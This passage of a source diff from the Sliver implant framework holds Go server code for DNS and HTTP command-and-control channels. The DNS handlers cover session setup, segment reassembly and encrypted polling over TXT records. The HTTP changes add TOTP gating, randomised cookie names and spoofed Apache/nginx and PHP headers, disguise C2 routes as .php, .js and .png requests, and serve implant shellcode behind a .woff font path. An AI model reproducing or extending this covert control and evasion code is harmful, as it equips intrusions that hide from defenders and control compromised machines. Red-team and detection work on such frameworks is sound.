dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
case "_" + sessionEnvelopeMsg:
fallthrough
case sessionEnvelopeMsg:
result, err := dnsSessionEnvelope(domain, fields)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
case sessionPollingMsg:
result, err := dnsSessionPoll(domain, fields)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
default:
dnsLog.Infof("Unknown msg type '%s' in TXT req", fields[len(fields)-1])
}
return resp
}
// --------------------------- FIELDS ---------------------------
func getFieldMsgType(fields []string) (string, error) {
if len(fields) < 1 {
return "", errors.New("Invalid number of fields in session init message (nonce)")
}
return fields[len(fields)-1], nil
}
func getFieldSessionID(fields []string) (string, error) {
if len(fields) < 2 {
return "", errors.New("Invalid number of fields in session init message (session id)")
}
sessionID := fields[len(fields)-2]
if sessionID == "_" {
return "", errors.New("Session ID is null")
}
return sessionID, nil
}
func getFieldNonce(fields []string) (string, error) {
if len(fields) < 3 {
return "", errors.New("Invalid number of fields in session init message (nonce)")
}
return fields[len(fields)-3], nil
}
func getFieldSeq(fields []string) (int, error) {
if len(fields) < 4 {
return -1, errors.New("Invalid number of fields in session init message (seq)")
}
rawSeq := fields[len(fields)-4]
data, err := dnsDecodeString(rawSeq)
if err != nil {
dnsLog.Infof("Failed to decode seq field: %#v", rawSeq)
return 0, err
}
index := int(binary.LittleEndian.Uint32(data))
return index, nil
}
func getFieldSubdata(fields []string) ([]string, error) {
if len(fields) < 5 {
return []string{}, errors.New("Invalid number of fields in session init message (subdata)")
}
subdataFields := len(fields) - 4
dnsLog.Infof("Domain contains %d subdata fields", subdataFields)
return fields[:subdataFields], nil
}
// --------------------------- DNS SESSION START ---------------------------
// Returns an confirmation value (e.g. exit code 0 non-0) and error
func startDNSSession(domain string, fields []string) ([]string, error) {
dnsLog.Infof("[start session] fields = %#v", fields)
msgType, err := getFieldMsgType(fields)
if err != nil {
return []string{"1"}, err
}
nonce, err := getFieldNonce(fields)
if err != nil {
return []string{"1"}, err
}
if !strings.HasPrefix(msgType, "_") {
return dnsSegment(fields)
}
dnsLog.Infof("Complete session init message received, reassembling ...")
// TODO: We don't have replay protection against the RSA-encrypt
// sessionInit messages, but I don't think it's an issue ...
encryptedSessionInit, err := dnsSegmentReassemble(nonce)
if err != nil {
return []string{"1"}, err
}
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
dnsLog.Infof("Failed to fetch RSA private key")
return []string{"1"}, err
}
publicKeyBlock, _ := pem.Decode([]byte(publicKeyPEM))
dnsLog.Infof("RSA Fingerprint: %s", fingerprintSHA256(publicKeyBlock))
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
privateKey, err := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
if err != nil {
dnsLog.Infof("Failed to decode RSA private key")
return []string{"1"}, err
}
dnsLog.Debugf("Session Init: %v", encryptedSessionInit)
sessionInitData, err := cryptography.RSADecrypt(encryptedSessionInit, privateKey)
if err != nil {
dnsLog.Infof("Failed to decrypt session init msg")
return []string{"1"}, err
}
sessionInit := &sliverpb.DNSSessionInit{}
proto.Unmarshal(sessionInitData, sessionInit)
dnsLog.Infof("Received new session in request")
session := &core.Session{
ID: core.NextSessionID(),
Transport: "dns",
RemoteAddress: "n/a",
Send: make(chan *sliverpb.Envelope, 16),
RespMutex: &sync.RWMutex{},
Resp: map[uint64]chan *sliverpb.Envelope{},
}
session.UpdateCheckin()
aesKey, _ := cryptography.AESKeyFromBytes(sessionInit.Key)
sessionID := dnsSessionID()
dnsLog.Infof("Starting new DNS session with id = %s", sessionID)
dnsSessionsMutex.Lock()
(*dnsSessions)[sessionID] = &DNSSession{
ID: sessionID,
Session: session,
Key: aesKey,
replay: map[string]bool{},
}
dnsSessionsMutex.Unlock()
encryptedSessionID, _ := cryptography.GCMEncrypt(aesKey, []byte(sessionID))
result, err := dnsSendOnce(encryptedSessionID)
if err != nil {
dnsLog.Infof("Failed to encode message into single result %v", err)
return []string{"1"}, err
}
return result, nil
}
// --------------------------- DNS SESSION RECV ---------------------------
func dnsSessionEnvelope(domain string, fields []string) ([]string, error) {
dnsLog.Infof("[session envelope] fields = %#v", fields)
msgType, err := getFieldMsgType(fields)
if err != nil {
return []string{"1"}, err
}
nonce, err := getFieldNonce(fields)
if err != nil {
return []string{"1"}, err
}
if !strings.HasPrefix(msgType, "_") {
return dnsSegment(fields)
}
dnsLog.Infof("Complete envelope received, reassembling ...")
encryptedDNSEnvelope, err := dnsSegmentReassemble(nonce)
if err != nil {
return []string{"1"}, errors.New("Failed to reassemble segments")
}
sessionID, err := getFieldSessionID(fields)
if err != nil {
return []string{"1"}, err
}
dnsSessionsMutex.Lock()
defer dnsSessionsMutex.Unlock()
if dnsSession, ok := (*dnsSessions)[sessionID]; ok {
dnsLog.Infof("Envelope has valid DNS session (%s)", dnsSession.ID)
if dnsSession.isReplayAttack(encryptedDNSEnvelope) {
dnsLog.Infof("WARNING: Replay attack detected, ignore request")
return []string{"1"}, errors.New("Replay attack")
}
envelopeData, err := cryptography.GCMDecrypt(dnsSession.Key, encryptedDNSEnvelope)
if err != nil {
return []string{"1"}, errors.New("Failed to decrypt DNS envelope")
}
envelope := &sliverpb.Envelope{}
proto.Unmarshal(envelopeData, envelope)
dnsLog.Infof("Envelope Type = %#v RespID = %#v", envelope.Type, envelope.ID)
dnsSession.Session.UpdateCheckin()
// Response Envelope or Handler
handlers := serverHandlers.GetSessionHandlers()
if envelope.ID != 0 {
dnsSession.Session.RespMutex.Lock()
defer dnsSession.Session.RespMutex.Unlock()
if resp, ok := dnsSession.Session.Resp[envelope.ID]; ok {
resp <- envelope
}
} else if handler, ok := handlers[envelope.Type]; ok {
handler.(func(*core.Session, []byte))(dnsSession.Session, envelope.Data)
}
return []string{"0"}, nil
}
dnsLog.Infof("Invalid session id '%#v'", sessionID)
return []string{"1"}, errors.New("Invalid session ID")
}
// Client should have sent all of the data, attempt to reassemble segments
func dnsSegmentReassemble(nonce string) ([]byte, error) {
dnsSegmentReassemblerMutex.Lock()
defer dnsSegmentReassemblerMutex.Unlock()
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
var keys []int
for k := range *reasm {
keys = append(keys, k)
}
sort.Ints(keys)
orderedSubdata := []string{}
for _, k := range keys {
orderedSubdata = append(orderedSubdata, (*reasm)[k]...)
}
data, err := dnsDecodeString(strings.Join(orderedSubdata, ""))
if err != nil {
dnsLog.Infof("Failed to decode session init: %v", err)
return nil, err
}
//BUG - in the event that the session init msg does not make it to the client, this will fail. This has been
//observed consistently (Namely due to the race condition bug that is also being fixed in dnsSessionPoll).
//Currently a memory leak. Consider tracking moving the cleanup code to after polling has
//begun to ensure the initial handshake was successful.
//
//delete((*dnsSegmentReassembler), nonce)
return data, nil
}
return nil, fmt.Errorf("Invalid nonce '%#v' (session init reassembler)", nonce)
}
// The domain is only a segment of the startDNSSession message, so we just store the data
func dnsSegment(fields []string) ([]string, error) {
dnsSegmentReassemblerMutex.Lock()
defer dnsSegmentReassemblerMutex.Unlock()
nonce, _ := getFieldNonce(fields)
index, err := getFieldSeq(fields)
if err != nil {
return []string{"1"}, err
}
subdata, err := getFieldSubdata(fields)
if err != nil {
return []string{"1"}, err
}
if _, ok := (*dnsSegmentReassembler)[nonce]; !ok {
(*dnsSegmentReassembler)[nonce] = &map[int][]string{}
}
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
(*reasm)[index] = subdata
return []string{"0"}, nil
}
dnsLog.Infof("Invalid nonce (session segment): %#v", nonce)
return []string{"1"}, errors.New("Invalid nonce (session segment)")
}
// TODO: Avoid double-fetch
func getDomainKeyFor(domain string) ([]string, error) {
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
certs.C2ServerGenerateRSACertificate(domain)
}
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
return nil, err
}
return dnsSendOnce(certPEM)
}
// --------------------------- DNS SESSION SEND ---------------------------
// Send all response data in a single TXT record, limited to 65535 bytes
func dnsSendOnce(rawData []byte) ([]string, error) {
if 65535 <= base64.RawStdEncoding.EncodedLen(len(rawData)) {
return nil, errors.New("Response too large to encode into one TXT record")
}
data := base64.RawStdEncoding.EncodeToString(rawData)
dnsLog.Infof("Encoding single resp: %#v", data)
txts := []string{}
size := int(math.Ceil(float64(len(data)) / 255.0))
for index := 0; index < size; index++ {
start := index * 255
stop := start + 255
if len(data) < stop {
stop = len(data)
}
txts = append(txts, data[start:stop])
}
return txts, nil
}
func dnsSessionPoll(domain string, fields []string) ([]string, error) {
sessionID, err := getFieldSessionID(fields)
if err != nil {
return []string{"1"}, errors.New("invalid session id (session poll)")
}
dnsSessionsMutex.Lock()
dnsSession, found := (*dnsSessions)[sessionID]
if !found {
dnsSessionsMutex.Unlock()
b64SessionId := base64.RawStdEncoding.EncodeToString([]byte(sessionID))
return []string{b64SessionId}, errors.New("invalid session (nil pointer)")
}
dnsSessionsMutex.Unlock()
isDrained := false
envelopes := []*sliverpb.Envelope{}
for !isDrained {
select {
case envelope := <-dnsSession.Session.Send:
dnsLog.Infof("New message from send channel ...")
envelopes = append(envelopes, envelope)
default:
isDrained = true
}
}
dnsSession.Session.UpdateCheckin()
if 0 < len(envelopes) {
dnsLog.Infof("%d new message(s) for session id %#v", len(envelopes), sessionID)
dnsPoll := &sliverpb.DNSPoll{}
for _, envelope := range envelopes {
data, err := proto.Marshal(envelope)
if err != nil {
dnsLog.Infof("Failed to encode envelope %v", err)
continue
}
encryptedEnvelopeData, err := cryptography.GCMEncrypt(dnsSession.Key, data)
if err != nil {
dnsLog.Infof("Failed to encrypt poll data %v", err)
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
}
blockID, size := storeSendBlocks(encryptedEnvelopeData)
dnsPoll.Blocks = append(dnsPoll.Blocks, &sliverpb.DNSBlockHeader{
ID: blockID,
Size: uint32(size),
})
}
pollData, err := proto.Marshal(dnsPoll)
if err != nil {
dnsLog.Infof("Failed to encode envelope %v", err)
return []string{"1"}, errors.New("Failed to encode dns poll data")
}
encryptedPollData, err := cryptography.GCMEncrypt(dnsSession.Key, pollData)
if err != nil {
dnsLog.Infof("Failed to encrypt poll data %v", err)
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
}
return dnsSendOnce(encryptedPollData)
}
dnsLog.Infof("No new message for session id %#v", sessionID)
return []string{"0"}, nil
}
// Send blocks of data via multiple DNS TXT responses
func dnsSendBlocks(blockID string, startIndex string, stopIndex string) []string {
start, err := strconv.Atoi(startIndex)
if err != nil {
return []string{}
}
stop, err := strconv.Atoi(stopIndex)
if err != nil {
return []string{}
}
if stop < start {
return []string{}
}
dnsLog.Infof("Send blocks %d to %d for ID %s", start, stop, blockID)
sendBlocksMutex.Lock()
defer sendBlocksMutex.Unlock()
respBlocks := []string{}
if block, ok := (*sendBlocks)[blockID]; ok {
for index := start; index < stop; index++ {
if index < len(block.Data) {
respBlocks = append(respBlocks, block.Data[index])
}
}
dnsLog.Infof("Sending %d response block(s)", len(respBlocks))
return respBlocks
}
dnsLog.Infof("Invalid block ID: %#v", blockID)
return []string{}
}
// Clear send blocks of data from memory
func clearSendBlock(blockID string) bool {
sendBlocksMutex.Lock()
defer sendBlocksMutex.Unlock()
if _, ok := (*sendBlocks)[blockID]; ok {
delete(*sendBlocks, blockID)
return true
}
return false
}
// Stores encoded blocks fo data into "sendBlocks"
func storeSendBlocks(data []byte) (string, int) {
blockID := generateBlockID()
sendBlock := &SendBlock{
ID: blockID,
Data: []string{},
}
for index := 0; index < len(data); index += byteBlockSize {
start := index
stop := index + byteBlockSize
if len(data) < stop {
stop = len(data)
}
encoded := base64.RawStdEncoding.EncodeToString(data[start:stop])
dnsLog.Infof("Encoded block is %d bytes", len(encoded))
sendBlock.Data = append(sendBlock.Data, encoded)
}
sendBlocksMutex.Lock()
(*sendBlocks)[sendBlock.ID] = sendBlock
sendBlocksMutex.Unlock()
return sendBlock.ID, len(sendBlock.Data)
}
// --------------------------- HELPERS ---------------------------
// Unique IDs, no need for secure random
func generateBlockID() string {
insecureRand.Seed(time.Now().UnixNano())
blockID := []rune{}
for i := 0; i < blockIDSize; i++ {
index := insecureRand.Intn(len(dnsCharSet))
blockID = append(blockID, dnsCharSet[index])
}
return string(blockID)
}
func fingerprintSHA256(block *pem.Block) string {
hash := sha256.Sum256(block.Bytes)
b64hash := base64.RawStdEncoding.EncodeToString(hash[:])
return strings.TrimRight(b64hash, "=")
}
// TODO: Add a geofilter to make it look like we're in various regions of the world.
// We don't really need to use srand but it's just easier to operate on bytes here.
func randomIP() net.IP {
randBuf := make([]byte, 4)
secureRand.Read(randBuf)
// Ensure non-zeros with various bitmasks
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
}
// --------------------------- ENCODER ---------------------------
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
// EncodeToString encodes the given byte slice in base32
func dnsEncodeToString(input []byte) string {
return strings.TrimRight(sliverBase32.EncodeToString(input), "=")
}
// DecodeString decodes the given base32 encoded bytes
func dnsDecodeString(raw string) ([]byte, error) {
pad := 8 - (len(raw) % 8)
padded := []byte(raw)
if pad != 8 {
padded = make([]byte, len(raw)+pad)
copy(padded, raw)
for index := 0; index < pad; index++ {
padded[len(raw)+index] = '='
}
}
// dnsLog.Infof("[base32] %#v", string(padded))
return sliverBase32.DecodeString(string(padded))
}
// SessionIDs are public parameters in this use case
// so it's only important that they're unique
func dnsSessionID() string {
insecureRand.Seed(time.Now().UnixNano())
sessionID := []rune{}
for i := 0; i < sessionIDSize; i++ {
index := insecureRand.Intn(len(dnsCharSet))
sessionID = append(sessionID, dnsCharSet[index])
}
return "_" + string(sessionID)
}
+140 -32
View File
@@ -19,6 +19,7 @@ package c2
*/
import (
"bytes"
"context"
"crypto/rand"
"crypto/sha256"
@@ -27,19 +28,23 @@ import (
"encoding/base64"
"encoding/hex"
"encoding/pem"
"errors"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"net"
"net/http"
"net/url"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
"unicode"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
@@ -54,14 +59,20 @@ import (
var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
)
const (
defaultHTTPTimeout = time.Second * 60
pollTimeout = defaultHTTPTimeout - 5
sessionCookieName = "PHPSESSID"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
@@ -135,6 +146,7 @@ type SliverHTTPC2 struct {
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
EnforceOTP bool
server string
poweredBy string
@@ -142,15 +154,30 @@ type SliverHTTPC2 struct {
func (s *SliverHTTPC2) getServerHeader() string {
if s.server == "" {
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
switch insecureRand.Intn(1) {
case 0:
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
s.server = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return s.server
}
func (s *SliverHTTPC2) getCookieName() string {
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
index := insecureRand.Intn(len(cookies))
return cookies[index]
}
func (s *SliverHTTPC2) getPoweredByHeader() string {
if s.poweredBy == "" {
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
insecureRand.Intn(3), insecureRand.Intn(17))
switch insecureRand.Intn(1) {
case 0:
s.poweredBy = fmt.Sprintf("PHP/8.0.%d", insecureRand.Intn(10))
default:
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d", insecureRand.Intn(4), insecureRand.Intn(20))
}
}
return s.poweredBy
}
@@ -167,6 +194,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
active: &map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
},
EnforceOTP: true,
}
server.HTTPServer = &http.Server{
Addr: conf.Addr,
@@ -257,17 +285,17 @@ func (s *SliverHTTPC2) router() *mux.Router {
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = start
// .php = session
// .js = poll
// 1.phtml / .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.phtml$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
@@ -291,18 +319,64 @@ func (s *SliverHTTPC2) router() *mux.Router {
// This filters requests that do not have a valid nonce
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
return false // NaN
}
return true
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
if qNonce == "" {
httpLog.Warnf("Nonce not found in request", qNonce)
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
httpLog.Debugf("Request nonce = %d", nonce)
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
return false // Not a valid encoder
httpLog.Warnf("Invalid nonce (%s)", err)
return 0, err
}
return true
return nonce, nil
}
func getOTPFromURL(reqURL *url.URL) (string, error) {
otpCode := ""
for arg, values := range reqURL.Query() {
if len(arg) == 2 {
otpCode = digitsOnly(values[0])
break
}
}
if otpCode == "" {
httpLog.Warnf("OTP not found in request", otpCode)
return "", ErrMissingNonce
}
httpLog.Debugf("Request OTP = %s", otpCode)
return otpCode, nil
}
func digitsOnly(value string) string {
var buf bytes.Buffer
for _, char := range value {
if unicode.IsDigit(char) {
buf.WriteRune(char)
}
}
return buf.String()
}
func loggingMiddleware(next http.Handler) http.Handler {
@@ -357,8 +431,23 @@ func default404Handler(resp http.ResponseWriter, req *http.Request) {
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
httpLog.Info("Public key request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
nonce, _ := getNonceFromURL(req.URL)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
if err != nil {
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
@@ -371,11 +460,27 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Start session request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
if err != nil {
httpLog.Info("Failed to fetch rsa private key")
httpLog.Warn("Failed to fetch rsa private key")
resp.WriteHeader(404)
return
}
@@ -386,14 +491,18 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
return
}
body, _ := ioutil.ReadAll(req.Body)
body, err := ioutil.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
resp.WriteHeader(404)
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
@@ -403,7 +512,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
if err != nil {
httpLog.Info("RSA decryption failed")
httpLog.Error("RSA decryption failed")
resp.WriteHeader(404)
return
}
@@ -432,7 +541,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
}
http.SetCookie(resp, &http.Cookie{
Domain: s.Conf.Domain,
Name: sessionCookieName,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: true,
HttpOnly: true,
@@ -441,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
@@ -449,7 +558,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
return
}
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
@@ -489,7 +598,9 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
}
resp.WriteHeader(200)
// TODO: Return random data?
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
@@ -501,7 +612,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
}
// We already know we have a valid nonce because of the middleware filter
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.Session.Send:
@@ -556,13 +667,10 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
if cookie.Name == sessionCookieName {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
return nil
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
}
return nil // No valid cookie names
File renamed without changes.
-530
View File
@@ -1,530 +0,0 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
DNS command and control implementation
*/
import (
secureRand "crypto/rand"
"crypto/sha256"
"crypto/x509"
"errors"
"hash/crc32"
insecureRand "math/rand"
"net"
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/protobuf/dnspb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"encoding/base64"
"encoding/binary"
"encoding/pem"
"fmt"
"strings"
"sync"
"time"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/log"
"github.com/miekg/dns"
)
const (
sessionIDSize = 12
// Max TXT record is 255, records are b64 so (n*8 + 5) / 6 = ~250
byteBlockSize = 185 // Can be as high as n = 187, but we'll leave some slop
blockIDSize = 6
)
var (
dnsLog = log.NamedLogger("c2", "dns")
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
dnsSessionsMutex = &sync.RWMutex{}
dnsSessions = map[string]*DNSSession{}
sendBlocksMutex = &sync.RWMutex{}
sendBlocks = map[uint32]*Block{}
recvBlocksMutex = &sync.RWMutex{}
recvBlocks = map[uint32]*Block{}
)
// Block - A blob of data that we're sending or receiving, blocks of data
// are split up into arrays of bytes (chunks) that are encoded per-query
// the amount of data that can be encoded into a single request or response
// varies depending on the type of query and the length of the parent domain.
type Block struct {
ID uint32
data [][]byte
Size int
Started time.Time
Mutex sync.RWMutex
}
func (b *Block) AddData(index int, data []byte) (bool, error) {
b.Mutex.Lock()
defer b.Mutex.Unlock()
if len(b.data) < index+1 {
return false, errors.New("Data index out of bounds")
}
b.data[index] = data
sum := 0
for _, data := range b.data {
sum += len(data)
}
return sum == b.Size, nil
}
func (b *Block) GetData(index int) ([]byte, error) {
b.Mutex.Lock()
defer b.Mutex.Unlock()
if len(b.data) < index+1 {
return nil, errors.New("Data index out of bounds")
}
return b.data[index], nil
}
func (b *Block) Reassemble() []byte {
b.Mutex.RLock()
defer b.Mutex.RUnlock()
data := []byte{}
for _, block := range b.data {
data = append(data, block...)
}
return data
}
// DNSSession - Holds DNS session information
type DNSSession struct {
ID string
Session *core.Session
Key cryptography.AESKey
replay map[string]bool // Sessions are mutex 'd
}
func (s *DNSSession) isReplayAttack(ciphertext []byte) bool {
if len(ciphertext) < 1 {
return false
}
sha := sha256.New()
sha.Write(ciphertext)
digest := base64.RawStdEncoding.EncodeToString(sha.Sum(nil))
if _, ok := s.replay[digest]; ok {
return true
}
s.replay[digest] = true
return false
}
// --------------------------- DNS SERVER ---------------------------
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *dns.Server {
StartPivotListener()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
req.Question[0].Name = strings.ToLower(req.Question[0].Name)
handleDNSRequest(domains, canaries, writer, req)
})
server := &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"}
return server
}
// ---------------------------
// DNS Handler
// ---------------------------
// Handles all DNS queries, first we determine if the query is C2 or a canary
func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
if req == nil {
dnsLog.Info("req can not be nil")
return
}
if len(req.Question) < 1 {
dnsLog.Info("No questions in DNS request")
return
}
var resp *dns.Msg
isC2, domain := isC2SubDomain(domains, req.Question[0].Name)
if isC2 {
dnsLog.Debugf("'%s' is subdomain of c2 parent '%s'", req.Question[0].Name, domain)
resp = handleC2(domain, req)
} else if canaries {
dnsLog.Debugf("checking '%s' for DNS canary matches", req.Question[0].Name)
resp = handleCanary(req)
}
if resp != nil {
writer.WriteMsg(resp)
} else {
dnsLog.Infof("Invalid query, no DNS response")
}
}
